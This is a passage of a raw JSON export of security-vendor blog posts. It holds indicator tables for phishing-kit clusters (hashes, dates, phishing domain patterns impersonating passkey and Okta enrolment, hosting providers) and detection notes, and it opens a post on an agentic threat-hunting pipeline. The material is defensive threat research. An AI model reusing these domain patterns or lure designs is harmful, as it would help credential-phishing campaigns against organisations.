2026)",{"data":5019,"content":5020,"nodeType":1563},{},[5021,5030],{"data":5022,"content":5023,"nodeType":1577},{},[5024],{"data":5025,"content":5026,"nodeType":866},{},[5027],{"data":5028,"marks":5029,"value":4753,"nodeType":865},{},[],{"data":5031,"content":5032,"nodeType":1577},{},[5033],{"data":5034,"content":5035,"nodeType":866},{},[5036],{"data":5037,"marks":5038,"value":5039,"nodeType":865},{},[],"Tucows",{"data":5041,"content":5042,"nodeType":1563},{},[5043,5052],{"data":5044,"content":5045,"nodeType":1577},{},[5046],{"data":5047,"content":5048,"nodeType":866},{},[5049],{"data":5050,"marks":5051,"value":4776,"nodeType":865},{},[],{"data":5053,"content":5054,"nodeType":1577},{},[5055],{"data":5056,"content":5057,"nodeType":866},{},[5058],{"data":5059,"marks":5060,"value":5061,"nodeType":865},{},[],"Njalla",{"data":5063,"content":5064,"nodeType":1563},{},[5065,5074],{"data":5066,"content":5067,"nodeType":1577},{},[5068],{"data":5069,"content":5070,"nodeType":866},{},[5071],{"data":5072,"marks":5073,"value":4799,"nodeType":865},{},[],{"data":5075,"content":5076,"nodeType":1577},{},[5077],{"data":5078,"content":5079,"nodeType":866},{},[5080],{"data":5081,"marks":5082,"value":5083,"nodeType":865},{},[],"Njalla (AS39287)",{"data":5085,"content":5086,"nodeType":1229},{},[5087],{"data":5088,"marks":5089,"value":5090,"nodeType":865},{},[],"Cluster C",{"data":5092,"content":5093,"nodeType":866},{},[5094],{"data":5095,"marks":5096,"value":5097,"nodeType":865},{},[],"Cluster C is likely an evolution of Cluster B. Some evidence has been observed tying the backend hosting to Njalla behind the Cloudflare CDN further solidifying the link. The shift to Cloudflare Turnstile protection and subdomain-based targeting represents an operational refinement — moving away from the distinctive [target]internal[.]com pattern that had become a well-known campaign indicator.",{"data":5099,"content":5100,"nodeType":1656},{},[5101,5125,5147,5169,5191,5234,5255,5277],{"data":5102,"content":5103,"nodeType":1563},{},[5104,5114],{"data":5105,"content":5106,"nodeType":1577},{},[5107],{"data":5108,"content":5109,"nodeType":866},{},[5110],{"data":5111,"marks":5112,"value":4583,"nodeType":865},{},[5113],{"type":935},{"data":5115,"content":5116,"nodeType":1577},{},[5117],{"data":5118,"content":5119,"nodeType":866},{},[5120],{"data":5121,"marks":5122,"value":5124,"nodeType":865},{},[5123],{"type":935},"heartbeat/check_redirect variant protected with Cloudflare turnstile",{"data":5126,"content":5127,"nodeType":1563},{},[5128,5137],{"data":5129,"content":5130,"nodeType":1577},{},[5131],{"data":5132,"content":5133,"nodeType":866},{},[5134],{"data":5135,"marks":5136,"value":4107,"nodeType":865},{},[],{"data":5138,"content":5139,"nodeType":1577},{},[5140],{"data":5141,"content":5142,"nodeType":866},{},[5143],{"data":5144,"marks":5145,"value":5146,"nodeType":865},{},[],"cb1d409278b2247af23e7b00ac779b232baaf4ce5f63fdf5ebc3920a38cc6102",{"data":5148,"content":5149,"nodeType":1563},{},[5150,5159],{"data":5151,"content":5152,"nodeType":1577},{},[5153],{"data":5154,"content":5155,"nodeType":866},{},[5156],{"data":5157,"marks":5158,"value":4635,"nodeType":865},{},[],{"data":5160,"content":5161,"nodeType":1577},{},[5162],{"data":5163,"content":5164,"nodeType":866},{},[5165],{"data":5166,"marks":5167,"value":5168,"nodeType":865},{},[],"March 2026 - present (April 2026)",{"data":5170,"content":5171,"nodeType":1563},{},[5172,5181],{"data":5173,"content":5174,"nodeType":1577},{},[5175],{"data":5176,"content":5177,"nodeType":866},{},[5178],{"data":5179,"marks":5180,"value":4658,"nodeType":865},{},[],{"data":5182,"content":5183,"nodeType":1577},{},[5184],{"data":5185,"content":5186,"nodeType":866},{},[5187],{"data":5188,"marks":5189,"value":5190,"nodeType":865},{},[],"\u003Ctarget> subdomain with generic “sso”, “passkey”, “enroll”, “okta” theme root domain",{"data":5192,"content":5193,"nodeType":1563},{},[5194,5203],{"data":5195,"content":5196,"nodeType":1577},{},[5197],{"data":5198,"content":5199,"nodeType":866},{},[5200],{"data":5201,"marks":5202,"value":4709,"nodeType":865},{},[],{"data":5204,"content":5205,"nodeType":1577},{},[5206,5213,5220,5227],{"data":5207,"content":5208,"nodeType":866},{},[5209],{"data":5210,"marks":5211,"value":5212,"nodeType":865},{},[],"\u003Ctarget>.passkeysetup.com (March 2026)",{"data":5214,"content":5215,"nodeType":866},{},[5216],{"data":5217,"marks":5218,"value":5219,"nodeType":865},{},[],"\u003Ctarget>.enrollms.com (March 2026)",{"data":5221,"content":5222,"nodeType":866},{},[5223],{"data":5224,"marks":5225,"value":5226,"nodeType":865},{},[],"\u003Ctarget>.keyokta.com (April 2026)",{"data":5228,"content":5229,"nodeType":866},{},[5230],{"data":5231,"marks":5232,"value":5233,"nodeType":865},{},[],"\u003Ctarget>.passkeywork.com (April 2026)",{"data":5235,"content":5236,"nodeType":1563},{},[5237,5246],{"data":5238,"content":5239,"nodeType":1577},{},[5240],{"data":5241,"content":5242,"nodeType":866},{},[5243],{"data":5244,"marks":5245,"value":4753,"nodeType":865},{},[],{"data":5247,"content":5248,"nodeType":1577},{},[5249],{"data":5250,"content":5251,"nodeType":866},{},[5252],{"data":5253,"marks":5254,"value":5039,"nodeType":865},{},[],{"data":5256,"content":5257,"nodeType":1563},{},[5258,5267],{"data":5259,"content":5260,"nodeType":1577},{},[5261],{"data":5262,"content":5263,"nodeType":866},{},[5264],{"data":5265,"marks":5266,"value":4776,"nodeType":865},{},[],{"data":5268,"content":5269,"nodeType":1577},{},[5270],{"data":5271,"content":5272,"nodeType":866},{},[5273],{"data":5274,"marks":5275,"value":5276,"nodeType":865},{},[],"Cloudflare",{"data":5278,"content":5279,"nodeType":1563},{},[5280,5289],{"data":5281,"content":5282,"nodeType":1577},{},[5283],{"data":5284,"content":5285,"nodeType":866},{},[5286],{"data":5287,"marks":5288,"value":4799,"nodeType":865},{},[],{"data":5290,"content":5291,"nodeType":1577},{},[5292],{"data":5293,"content":5294,"nodeType":866},{},[5295],{"data":5296,"marks":5297,"value":5298,"nodeType":865},{},[],"Cloudflare (AS13335)",{"data":5300,"content":5301,"nodeType":1229},{},[5302],{"data":5303,"marks":5304,"value":5305,"nodeType":865},{},[],"Cluster D",{"data":5307,"content":5308,"nodeType":1656},{},[5309,5333,5355,5377,5399,5428,5449,5470],{"data":5310,"content":5311,"nodeType":1563},{},[5312,5322],{"data":5313,"content":5314,"nodeType":1577},{},[5315],{"data":5316,"content":5317,"nodeType":866},{},[5318],{"data":5319,"marks":5320,"value":4583,"nodeType":865},{},[5321],{"type":935},{"data":5323,"content":5324,"nodeType":1577},{},[5325],{"data":5326,"content":5327,"nodeType":866},{},[5328],{"data":5329,"marks":5330,"value":5332,"nodeType":865},{},[5331],{"type":935},"heartbeat/check_redirect variant (minified)",{"data":5334,"content":5335,"nodeType":1563},{},[5336,5345],{"data":5337,"content":5338,"nodeType":1577},{},[5339],{"data":5340,"content":5341,"nodeType":866},{},[5342],{"data":5343,"marks":5344,"value":4107,"nodeType":865},{},[],{"data":5346,"content":5347,"nodeType":1577},{},[5348],{"data":5349,"content":5350,"nodeType":866},{},[5351],{"data":5352,"marks":5353,"value":5354,"nodeType":865},{},[],"9d65dd34384b441505e6b67647153c02d5c367bb53da36ce36a392e70b37940a",{"data":5356,"content":5357,"nodeType":1563},{},[5358,5367],{"data":5359,"content":5360,"nodeType":1577},{},[5361],{"data":5362,"content":5363,"nodeType":866},{},[5364],{"data":5365,"marks":5366,"value":4635,"nodeType":865},{},[],{"data":5368,"content":5369,"nodeType":1577},{},[5370],{"data":5371,"content":5372,"nodeType":866},{},[5373],{"data":5374,"marks":5375,"value":5376,"nodeType":865},{},[],"April 2026 (low volume)",{"data":5378,"content":5379,"nodeType":1563},{},[5380,5389],{"data":5381,"content":5382,"nodeType":1577},{},[5383],{"data":5384,"content":5385,"nodeType":866},{},[5386],{"data":5387,"marks":5388,"value":4658,"nodeType":865},{},[],{"data":5390,"content":5391,"nodeType":1577},{},[5392],{"data":5393,"content":5394,"nodeType":866},{},[5395],{"data":5396,"marks":5397,"value":5398,"nodeType":865},{},[],"\u003Ctarget> subdomain with generic “passkey”, “portal”, “okta” theme root domain",{"data":5400,"content":5401,"nodeType":1563},{},[5402,5411],{"data":5403,"content":5404,"nodeType":1577},{},[5405],{"data":5406,"content":5407,"nodeType":866},{},[5408],{"data":5409,"marks":5410,"value":4709,"nodeType":865},{},[],{"data":5412,"content":5413,"nodeType":1577},{},[5414,5421],{"data":5415,"content":5416,"nodeType":866},{},[5417],{"data":5418,"marks":5419,"value":5420,"nodeType":865},{},[],"\u003Ctarget>.passkeyportalsetup.com",{"data":5422,"content":5423,"nodeType":866},{},[5424],{"data":5425,"marks":5426,"value":5427,"nodeType":865},{},[],"\u003Ctarget>.addoktapasskey.com",{"data":5429,"content":5430,"nodeType":1563},{},[5431,5440],{"data":5432,"content":5433,"nodeType":1577},{},[5434],{"data":5435,"content":5436,"nodeType":866},{},[5437],{"data":5438,"marks":5439,"value":4753,"nodeType":865},{},[],{"data":5441,"content":5442,"nodeType":1577},{},[5443],{"data":5444,"content":5445,"nodeType":866},{},[5446],{"data":5447,"marks":5448,"value":4763,"nodeType":865},{},[],{"data":5450,"content":5451,"nodeType":1563},{},[5452,5461],{"data":5453,"content":5454,"nodeType":1577},{},[5455],{"data":5456,"content":5457,"nodeType":866},{},[5458],{"data":5459,"marks":5460,"value":4776,"nodeType":865},{},[],{"data":5462,"content":5463,"nodeType":1577},{},[5464],{"data":5465,"content":5466,"nodeType":866},{},[5467],{"data":5468,"marks":5469,"value":5276,"nodeType":865},{},[],{"data":5471,"content":5472,"nodeType":1563},{},[5473,5482],{"data":5474,"content":5475,"nodeType":1577},{},[5476],{"data":5477,"content":5478,"nodeType":866},{},[5479],{"data":5480,"marks":5481,"value":4799,"nodeType":865},{},[],{"data":5483,"content":5484,"nodeType":1577},{},[5485],{"data":5486,"content":5487,"nodeType":866},{},[5488],{"data":5489,"marks":5490,"value":5298,"nodeType":865},{},[],{"data":5492,"content":5493,"nodeType":944},{},[],{"data":5495,"content":5496,"nodeType":953},{},[5497],{"data":5498,"marks":5499,"value":5501,"nodeType":865},{},[5500],{"type":935},"Detection considerations",{"data":5503,"content":5504,"nodeType":866},{},[5505],{"data":5506,"marks":5507,"value":5508,"nodeType":865},{},[],"For Push, the detection approach to these panels is fundamentally the same as for any other phishing kit — behavioral analysis of the rendered page in the browser, regardless of the C2 protocol running underneath. ",{"data":5510,"content":5511,"nodeType":866},{},[5512],{"data":5513,"marks":5514,"value":5515,"nodeType":865},{},[],"The main operational difference is on the operator end, where the human-in-the-loop interaction replaces fully automated credential harvesting. This has implications for defenders relying on proactive infrastructure scanning: the gated landing pages, anti-bot checks, and operator-approval requirements mean the malicious content is only served to active targets, making it significantly harder for automated scanners to discover and flag these domains before they're used against a victim.",{"data":5517,"content":5518,"nodeType":866},{},[5519,5524],{"data":5520,"marks":5521,"value":5523,"nodeType":865},{},[5522],{"type":935},"The phone call as delivery vector eliminates the email-based detection surface that most organizations rely on as their primary phishing defense. ",{"data":5525,"marks":5526,"value":5527,"nodeType":865},{},[],"Operator-gated payload delivery further reduces the likelihood that these sites will be flagged as malicious and added to known-bad detection lists (and in any case, it’s trivial for attackers to spin up new ones). This reinforces the need for browser-based detection at the point the user interacts with the page, analyzing it in real time for malicious content without relying on static IoCs. ",{"data":5529,"content":5530,"nodeType":944},{},[],{"data":5532,"content":5533,"nodeType":953},{},[5534],{"data":5535,"marks":5536,"value":1507,"nodeType":865},{},[5537],{"type":935},{"data":5539,"content":5540,"nodeType":866},{},[5541,5545,5551],{"data":5542,"marks":5543,"value":5544,"nodeType":865},{},[],"Short-lived IoCs are of limited value when tackling modern phishing attacks due to the rate at which attackers are able to ",{"data":5546,"content":5547,"nodeType":889},{"uri":1517},[5548],{"data":5549,"marks":5550,"value":1522,"nodeType":865},{},[],{"data":5552,"marks":5553,"value":5554,"nodeType":865},{},[]," in the attack chain, often dynamically serving different URLs to site visitors. ",{"data":5556,"content":5557,"nodeType":866},{},[5558,5561,5569],{"data":5559,"marks":5560,"value":21,"nodeType":865},{},[],{"data":5562,"content":5564,"nodeType":889},{"uri":5563},"https://www.virustotal.com/gui/collection/0f745e9da6ef7664444594a7ee930cfe5a9d8bd6c2f039dcde818599b8926610",[5565],{"data":5566,"marks":5567,"value":5568,"nodeType":865},{},[],"The full list of IoCs is on VirusTotal here. ",{"data":5570,"marks":5571,"value":21,"nodeType":865},{},[],{"data":5573,"content":5574,"nodeType":866},{},[5575],{"data":5576,"marks":5577,"value":1461,"nodeType":865},{},[5578],{"type":935},{"data":5580,"content":5581,"nodeType":944},{},[],{"data":5583,"content":5584,"nodeType":953},{},[5585],{"data":5586,"marks":5587,"value":5589,"nodeType":865},{},[5588],{"type":935},"Learn more about Push",{"data":5591,"content":5592,"nodeType":866},{},[5593,5597,5603],{"data":5594,"marks":5595,"value":5596,"nodeType":865},{},[],"Push Security is the most powerful AI-native security tool in the browser. Think EDR, but for the browser — high-fidelity telemetry and real-time control across every session, on every device, with no browser migration required.\n\nSecurity teams use Push to detect and stop advanced browser-based attacks like AiTM phishing, ClickFix, and session hijacking; gain visibility and control over AI tool usage across their workforce; harden identities by surfacing credential reuse, SSO gaps, and shadow IT; and support data loss and insider investigations with browser-layer telemetry that other tools can't see.\n\nBook a ",{"data":5598,"content":5599,"nodeType":889},{"uri":2644},[5600],{"data":5601,"marks":5602,"value":2649,"nodeType":865},{},[],{"data":5604,"marks":5605,"value":2653,"nodeType":865},{},[],"We infiltrated a criminal phishing panel: here’s what we found","We got an inside look at a phishing panel used in criminal campaigns linked to operators like ShinyHunters and BlackFile. Here’s what we found.","2026-05-07T00:00:00.000Z","inside-criminal-phishing-panel",{"items":5611},[5612,5614],{"sys":5613,"name":2663},{"id":2662},{"sys":5615,"name":342},{"id":2666},{"items":5617},[5618],{"fullName":5619,"firstName":5620,"jobTitle":2672,"profilePicture":5621},"Push Security Research Team","Research",{"url":5622},"https://images.ctfassets.net/y1cdw1ablpvd/7LpkwyXbOZ8WCVTAXzULmC/bfa3634c78ee9dfbee6606ba5519918b/push-round.png","llmshare-malvertising-campaign","blog/llmshare-malvertising-campaign",{"json":5626},{"data":5627,"content":5628,"nodeType":1663},{},[5629],{"data":5630,"content":5631,"nodeType":866},{},[5632],{"data":5633,"marks":5634,"value":5635,"nodeType":865},{},[],"Attackers are abusing the shared content features of AI chatbot platforms — ChatGPT and Claude — to deliver malware through pages hosted on legitimate, trusted domains, distributing the malicious links via sponsored malvertising ads on search engines. ","How attackers are using shared content features on AI chatbot platforms to deliver malware via pages hosted on legitimate domains, sent via malvertising.",{"id":5638,"publishedAt":5639},"Gcg7PGuICrlRcqq1QFXxH","2026-08-12T12:00:49.899Z",{"items":5641},[5642,5644],{"sys":5643,"name":2663},{"id":2662},{"sys":5645,"name":342},{"id":2666},{"items":5647},[5648,5650,5652,5654,5656,5658,5660,5662,5664,5666,5668,5670],{"sys":5649,"name":279,"slug":280,"tier":31},{"id":276},{"sys":5651,"name":235,"slug":236,"tier":31},{"id":232},{"sys":5653,"name":519,"slug":520,"tier":31},{"id":516},{"sys":5655,"name":440,"slug":441,"tier":45},{"id":437},{"sys":5657,"name":448,"slug":449,"tier":45},{"id":445},{"sys":5659,"name":315,"slug":316,"tier":45},{"id":312},{"sys":5661,"name":431,"slug":432,"tier":45},{"id":428},{"sys":5663,"name":422,"slug":423,"tier":45},{"id":419},{"sys":5665,"name":244,"slug":245,"tier":45},{"id":241},{"sys":5667,"name":563,"slug":564,"tier":45},{"id":560},{"sys":5669,"name":607,"slug":608,"tier":45},{"id":604},{"sys":5671,"name":475,"slug":476,"tier":45},{"id":472},"IqK0SBDuAwVjeXZ7slErmV4yVzN_7gBWkRubjc6cQw4",{"id":5674,"title":5675,"authorsCollection":5676,"content":5684,"extension":228,"faqItemsCollection":6771,"faqTitle":59,"featured":19,"hashTags":59,"meta":6773,"metaTitle":6774,"ogImage":59,"postType":6775,"publishedDate":6776,"relatedBlogPostsCollection":6777,"slug":8804,"stem":8805,"subtitle":59,"summary":8806,"synopsis":8817,"sys":8818,"tagsCollection":8821,"topicsCollection":8827,"__hash__":8863},"blog/blog/can-ai-replace-a-threat-researcher-what-we-learned-building-an-agentic-threat-hunting-pipeline.json","Can AI replace a threat researcher? What we learned building an agentic threat hunting pipeline",{"items":5677},[5678],{"fullName":5679,"firstName":5680,"jobTitle":5681,"socialLinks":59,"profilePicture":5682},"Kelly Davenport","Kelly","Product Team",{"url":5683},"https://images.ctfassets.net/y1cdw1ablpvd/1hi8bEuVfn5sF57LivAq6d/9a3b82426c697d765e2e450e33a18424/kelly_profile_pic.jpeg",{"json":5685,"links":6621},{"data":5686,"content":5687,"nodeType":1663},{},[5688,5695,5716,5728,5735,5743,5750,5772,5779,5786,5793,5805,5811,5814,5822,5838,5857,5968,5974,5981,5987,5995,6002,6014,6021,6027,6034,6058,6065,6072,6078,6081,6089,6096,6104,6111,6127,6134,6141,6149,6156,6163,6171,6178,6185,6188,6196,6203,6211,6218,6225,6232,6239,6247,6254,6286,6293,6300,6306,6313,6321,6328,6406,6412,6420,6436,6443,6449,6456,6472,6475,6483,6490,6497,6503,6510,6555,6562,6569,6576,6582,6585,6593,6599,6605],{"data":5689,"content":5690,"nodeType":866},{},[5691],{"data":5692,"marks":5693,"value":5694,"nodeType":865},{},[],"In March, our threat hunting engine flagged something it hadn’t seen before.",{"data":5696,"content":5697,"nodeType":866},{},[5698,5702,5712],{"data":5699,"marks":5700,"value":5701,"nodeType":865},{},[],"Our research team had already been tracking the growing use of ",{"data":5703,"content":5707,"nodeType":5711},{"target":5704},{"sys":5705},{"id":5706,"type":918,"linkType":919},"2U6QpQ9rkY8x5ES48okHZB",[5708],{"data":5709,"marks":5710,"value":441,"nodeType":865},{},[],"entry-hyperlink",{"data":5713,"marks":5714,"value":5715,"nodeType":865},{},[]," tied to phishing campaigns. Malvertising frequently targets users via Google Search results, inserting malicious ads or redirects in place of legitimate ads, and using the familiar context of the search results page to trick users into clicking.",{"data":5717,"content":5718,"nodeType":866},{},[5719,5723],{"data":5720,"marks":5721,"value":5722,"nodeType":865},{},[],"To defend Push customers against this threat, we needed a way to spot malicious activity arising from clicking on Google ads. ",{"data":5724,"marks":5725,"value":5727,"nodeType":865},{},[5726],{"type":965},"But how to separate signal from noise?",{"data":5729,"content":5730,"nodeType":866},{},[5731],{"data":5732,"marks":5733,"value":5734,"nodeType":865},{},[],"Our hunt combined the skills of human researchers and AI agents to find 12 meaningful results from trillions of browser events visible to the Push extension across our install base.",{"data":5736,"content":5737,"nodeType":866},{},[5738],{"data":5739,"marks":5740,"value":5742,"nodeType":865},{},[5741],{"type":935},"Of those, one was novel. ",{"data":5744,"content":5745,"nodeType":866},{},[5746],{"data":5747,"marks":5748,"value":5749,"nodeType":865},{},[],"A user had searched for NotebookLM, clicked a paid Google ad, and gotten redirected to a page impersonating NotebookLM. The page itself was just a facade fronting a Cloudflare Pages-hosted phishing kit with a WebAssembly C2 connector. To the user, it looked like a completely on-brand NotebookLM page, and if they had run the fake install prompt, they would have installed malware. (Note: NotebookLM doesn’t even require a local install, but the page was convincing enough — and AI platforms are changing so quickly — that the lure was extremely believable.)",{"data":5751,"content":5752,"nodeType":866},{},[5753,5758,5768],{"data":5754,"marks":5755,"value":5757,"nodeType":865},{},[5756],{"type":935},"We had found our first in-the-wild ",{"data":5759,"content":5762,"nodeType":5711},{"target":5760},{"sys":5761},{"id":2677,"type":918,"linkType":919},[5763],{"data":5764,"marks":5765,"value":5767,"nodeType":865},{},[5766],{"type":935},"InstallFix attack",{"data":5769,"marks":5770,"value":1066,"nodeType":865},{},[5771],{"type":935},{"data":5773,"content":5774,"nodeType":866},{},[5775],{"data":5776,"marks":5777,"value":5778,"nodeType":865},{},[],"Within minutes, our analysis agents created detections, and researchers shipped a new detection to every Push customer. ",{"data":5780,"content":5781,"nodeType":866},{},[5782],{"data":5783,"marks":5784,"value":5785,"nodeType":865},{},[],"Eighteen months ago, it would have taken a human analyst days or even weeks to unpack the attack, comb through web requests, de-obfuscate web code, trace JavaScript execution, and extract signals of tactics, techniques, and procedures (TTPs) beyond short-lived single-use IOCs like domain name, then get their work coded up as a detection and deployed to customers. ",{"data":5787,"content":5788,"nodeType":866},{},[5789],{"data":5790,"marks":5791,"value":5792,"nodeType":865},{},[],"That was viable when new tools or techniques showed up once or twice a quarter. It doesn’t stand a chance when attack evolutions occur weekly or even daily. That’s the reality now with AI-generated adversary tools.",{"data":5794,"content":5795,"nodeType":866},{},[5796,5801],{"data":5797,"marks":5798,"value":5800,"nodeType":865},{},[5799],{"type":935},"So, can AI agents replace human threat researchers?",{"data":5802,"marks":5803,"value":5804,"nodeType":865},{},[]," That’s the wrong question. Can AI agents massively scale the expertise of a seasoned human threat hunter without getting bored of repetitive tasks, missing pertinent but easily overlooked details, or creating operational siloes dependent on one person’s knowledge — and do its work continuously across trillions of data points? Yes, absolutely.",{"data":5806,"content":5810,"nodeType":921},{"target":5807},{"sys":5808},{"id":5809,"type":918,"linkType":919},"3OiZ7BrViCTTMmHUAbloEt",[],{"data":5812,"content":5813,"nodeType":944},{},[],{"data":5815,"content":5816,"nodeType":953},{},[5817],{"data":5818,"marks":5819,"value":5821,"nodeType":865},{},[5820],{"type":935},"Why scaling browser threat detection requires more than more analysts",{"data":5823,"content":5824,"nodeType":866},{},[5825,5829,5834],{"data":5826,"marks":5827,"value":5828,"nodeType":865},{},[],"Already this year, we’ve ",{"data":5830,"marks":5831,"value":5833,"nodeType":865},{},[5832],{"type":935},"tripled",{"data":5835,"marks":5836,"value":5837,"nodeType":865},{},[]," the cumulative number of detections shipped to Push customers using this pipeline. That output points to the first problem we set out to solve by employing AI agents: Scaling our research team’s considerable expertise.",{"data":5839,"content":5840,"nodeType":866},{},[5841,5845,5853],{"data":5842,"marks":5843,"value":5844,"nodeType":865},{},[],"Push’s R&D team are experts at understanding and unpacking modern browser-based attacks. This is essential when you consider how quickly attacks themselves are evolving. When we created the ",{"data":5846,"content":5849,"nodeType":5711},{"target":5847},{"sys":5848},{"id":1804,"type":918,"linkType":919},[5850],{"data":5851,"marks":5852,"value":1861,"nodeType":865},{},[],{"data":5854,"marks":5855,"value":5856,"nodeType":865},{},[]," in 2023 (then called the SaaS Attacks Matrix), many of the ideas in it were theoretical. Not anymore. ",{"data":5858,"content":5859,"nodeType":2374},{},[5860,5870,5894],{"data":5861,"content":5862,"nodeType":2309},{},[5863],{"data":5864,"content":5865,"nodeType":866},{},[5866],{"data":5867,"marks":5868,"value":5869,"nodeType":865},{},[],"We’ve tracked the rise of AiTM phish kits from their status as MFA-bypassing novelties to the emergence of an entire criminal ecosystem built around increasingly sophisticated Phishing-as-a-Service tools. ",{"data":5871,"content":5872,"nodeType":2309},{},[5873],{"data":5874,"content":5875,"nodeType":866},{},[5876,5880,5890],{"data":5877,"marks":5878,"value":5879,"nodeType":865},{},[],"We imagined the simple but effective power of using device code authorization for phishing three years ago; in the last few months, we’ve detected a 37x increase in ",{"data":5881,"content":5885,"nodeType":5711},{"target":5882},{"sys":5883},{"id":5884,"type":918,"linkType":919},"5DmCqTU2Tg4adYScA5vT2x",[5886],{"data":5887,"marks":5888,"value":5889,"nodeType":865},{},[],"device code phishing attacks",{"data":5891,"marks":5892,"value":5893,"nodeType":865},{},[]," across our install base. ",{"data":5895,"content":5896,"nodeType":2309},{},[5897],{"data":5898,"content":5899,"nodeType":866},{},[5900,5904,5913,5917,5926,5930,5940,5943,5951,5954,5964],{"data":5901,"marks":5902,"value":5903,"nodeType":865},{},[],"We were also the first to detect a novel post-authorization attack we dubbed ",{"data":5905,"content":5909,"nodeType":5711},{"target":5906},{"sys":5907},{"id":5908,"type":918,"linkType":919},"71EaaK7lfl6bQBbkAU0qjv",[5910],{"data":5911,"marks":5912,"value":2101,"nodeType":865},{},[],{"data":5914,"marks":5915,"value":5916,"nodeType":865},{},[]," that combines OAuth consent phishing and ClickFix-style user prompts; reported on the rise of the ridiculously simple yet effective ",{"data":5918,"content":5921,"nodeType":5711},{"target":5919},{"sys":5920},{"id":2677,"type":918,"linkType":919},[5922],{"data":5923,"marks":5924,"value":5925,"nodeType":865},{},[],"InstallFix technique",{"data":5927,"marks":5928,"value":5929,"nodeType":865},{},[]," described earlier; and detected an array of other ",{"data":5931,"content":5935,"nodeType":5711},{"target":5932},{"sys":5933},{"id":5934,"type":918,"linkType":919},"2YmiesBvJHGw4wiKEKzLUq",[5936],{"data":5937,"marks":5938,"value":5939,"nodeType":865},{},[],"creative",{"data":5941,"marks":5942,"value":3757,"nodeType":865},{},[],{"data":5944,"content":5947,"nodeType":5711},{"target":5945},{"sys":5946},{"id":5706,"type":918,"linkType":919},[5948],{"data":5949,"marks":5950,"value":520,"nodeType":865},{},[],{"data":5952,"marks":5953,"value":3757,"nodeType":865},{},[],{"data":5955,"content":5959,"nodeType":5711},{"target":5956},{"sys":5957},{"id":5958,"type":918,"linkType":919},"6Zosy4SU0LpjlaSWX75peb",[5960],{"data":5961,"marks":5962,"value":5963,"nodeType":865},{},[],"campaigns",{"data":5965,"marks":5966,"value":5967,"nodeType":865},{},[]," tied to malvertising scams.",{"data":5969,"content":5973,"nodeType":921},{"target":5970},{"sys":5971},{"id":5972,"type":918,"linkType":919},"53U3LHhhHFYnEpShdLmDqs",[],{"data":5975,"content":5976,"nodeType":866},{},[5977],{"data":5978,"marks":5979,"value":5980,"nodeType":865},{},[],"With an agentic approach, we could scale this expertise and reduce the time it takes to go from technique discovery to production-ready detection. This speed is critical now because adversaries are also using AI tools to do their work, exploding the number of trivial-to-rotate indicators of compromise and overwhelming existing detection workflows that lack an equivalent machine speed.",{"data":5982,"content":5986,"nodeType":921},{"target":5983},{"sys":5984},{"id":5985,"type":918,"linkType":919},"1u00uFbC4xsvP9lqahXbgD",[],{"data":5988,"content":5989,"nodeType":1229},{},[5990],{"data":5991,"marks":5992,"value":5994,"nodeType":865},{},[5993],{"type":935},"Scaling behavioral detections, not just making bigger blocklists",{"data":5996,"content":5997,"nodeType":866},{},[5998],{"data":5999,"marks":6000,"value":6001,"nodeType":865},{},[],"But output numbers alone don’t tell the story of successful detections. That’s the other problem we set out to solve at scale: Most secure browser solutions rely on detection logic based on blocking known-bad indicators like domains, IPs, and URLs.",{"data":6003,"content":6004,"nodeType":866},{},[6005,6010],{"data":6006,"marks":6007,"value":6009,"nodeType":865},{},[6008],{"type":935},"If your solution offers 1,000 detections, and they’re all based on known-bad indicators that are easily rotated, then you’ve got 1,000 detections that worked once and will likely never fire again. ",{"data":6011,"marks":6012,"value":6013,"nodeType":865},{},[],"They certainly won’t catch subtle adaptations in adversary techniques that don’t rely on infrastructure changes, which are easy for attackers to swap anyway. ",{"data":6015,"content":6016,"nodeType":866},{},[6017],{"data":6018,"marks":6019,"value":6020,"nodeType":865},{},[],"Push does it differently. Our detection engine is focused on hunting for tactics, techniques, and procedures: the behavioral fingerprints of an attack, not just the infrastructure it runs on. ",{"data":6022,"content":6026,"nodeType":921},{"target":6023},{"sys":6024},{"id":6025,"type":918,"linkType":919},"5jR3YVUiusHGnXDOyrgYpr",[],{"data":6028,"content":6029,"nodeType":866},{},[6030],{"data":6031,"marks":6032,"value":6033,"nodeType":865},{},[],"Instead of blocking based on known-bad domains, URLs, and IPs, our detections are built around user-level and page-level behaviors like what scripts load, how redirects behave, what events fire, what actions a user takes and what happens next, etc. (In fact, Push detections don’t even use any infrastructure-based IOCs, though customers can write their own custom detections if they have a specific IOC they’re keeping an eye on.)",{"data":6035,"content":6036,"nodeType":866},{},[6037,6042,6053],{"data":6038,"marks":6039,"value":6041,"nodeType":865},{},[6040],{"type":935},"All the detections we write would survive infrastructure rotation by adversaries, and many of our existing detections have caught never-before-seen evolutions in TTPs. That’s because we focus on the top of the ",{"data":6043,"content":6047,"nodeType":5711},{"target":6044},{"sys":6045},{"id":6046,"type":918,"linkType":919},"1qegIy4rMdm5XZXnIEoKpE",[6048],{"data":6049,"marks":6050,"value":6052,"nodeType":865},{},[6051],{"type":935},"Pyramid of Pain",{"data":6054,"marks":6055,"value":6057,"nodeType":865},{},[6056],{"type":935},", the indicators that are hardest for attackers to change.",{"data":6059,"content":6060,"nodeType":866},{},[6061],{"data":6062,"marks":6063,"value":6064,"nodeType":865},{},[],"This focus on detecting TTPs has always been our approach. But with the acceleration in both attack types and the ease with which adversaries rotate infrastructure, we needed to build capabilities that scaled our knowledge. ",{"data":6066,"content":6067,"nodeType":866},{},[6068],{"data":6069,"marks":6070,"value":6071,"nodeType":865},{},[],"We did this not by replacing researchers, but by continuously activating their expertise. You can hear what our CEO and Co-founder Adam had to say about this below. ",{"data":6073,"content":6077,"nodeType":921},{"target":6074},{"sys":6075},{"id":6076,"type":918,"linkType":919},"C9gr4nF3f6CW45Aol9xij",[],{"data":6079,"content":6080,"nodeType":944},{},[],{"data":6082,"content":6083,"nodeType":953},{},[6084],{"data":6085,"marks":6086,"value":6088,"nodeType":865},{},[6087],{"type":935},"Core principles for agentic threat hunting",{"data":6090,"content":6091,"nodeType":866},{},[6092],{"data":6093,"marks":6094,"value":6095,"nodeType":865},{},[],"Three principles make Push's agentic threat hunting and detection engineering pipeline work:",{"data":6097,"content":6098,"nodeType":1229},{},[6099],{"data":6100,"marks":6101,"value":6103,"nodeType":865},{},[6102],{"type":935},"Context matters more than custom models",{"data":6105,"content":6106,"nodeType":866},{},[6107],{"data":6108,"marks":6109,"value":6110,"nodeType":865},{},[],"We’re not AI researchers; we’re security researchers — we aren't trying to compete in building the most intelligent models. And in our view, AI models are quickly becoming commoditized like cloud infrastructure, anyway. Luckily, the commercial models today already excel at understanding web code. We just need to harness their power with our 